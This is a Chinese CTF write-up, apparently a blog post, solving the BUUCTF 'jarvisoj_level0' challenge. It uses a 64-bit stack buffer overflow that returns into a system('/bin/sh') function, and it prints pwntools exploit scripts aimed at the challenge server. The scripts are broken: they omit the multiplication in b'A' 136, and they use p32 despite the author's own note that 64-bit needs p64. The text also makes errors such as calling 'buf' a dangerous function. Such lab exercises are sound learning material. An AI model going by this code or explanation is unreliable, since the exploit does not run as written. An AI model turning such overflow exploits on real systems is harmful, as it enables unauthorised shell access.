pwn-6-jarvisoj_level01

之前讲的几篇里我们我们拿到题都是checksec 这次也不意外,先测试一下我们知道了amd64-64-little 这个我之前没有提过这次就提一下 如果显示64 则我们在paylaod的时候p64() 若是32 这p32,相信大家这次能有一个了解

接着IDA查看一番,先shift+F12 又回到了我们熟悉的/bin/sh,还等什么双击呀

双击之后,懵逼了,没有想要的东西然后再双击黄色部分我们跳转一下去看看。

又到了我们熟悉的地方了F5按一下,进去程序里面看看什么情况,我们这是看到一行system(/bin/sh),然后按tab 转到之前的页面,再按空格就会出现下面的图片,我们找的了系统执行的地址,也是我们paylaod最后要到达的位置。

然后我们可以就目前了解构建一下paylaod 

from pwn import *
sh=remote('node5.buuoj.cn',27682)
buf_addr=0x400596
sh.sendline(b'A' 14 + p32(buf_addr))
sh.interactive()

接下来找中间废话代码进行绕过,我们进入主函数寻找write里面有buf函数 ,二进制文件中buf也是一个危险函数,直到现在我们遇到的危险含数有,/bin/sh、gets、buf、 strcpy 。

然后按回到主函数的如图页面,双击黄色部分,危险函数一般就在主函数中出现调用,从这里双击看看是不是脸上洋溢起来了笑容呢,buf 函数 再双击一下

这张图不久告诉了我们废话代码的字节为128+rdp(8)=136于是就有paylaod

paylaod 如下

from pwn import *
sh=remote('node5.buuoj.cn',27682)
buf_addr=0x400596
sh.sendline(b'A' 136 + p32(buf_addr))
sh.interactive()

于是就有了kali的操作,flag值也就出来了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值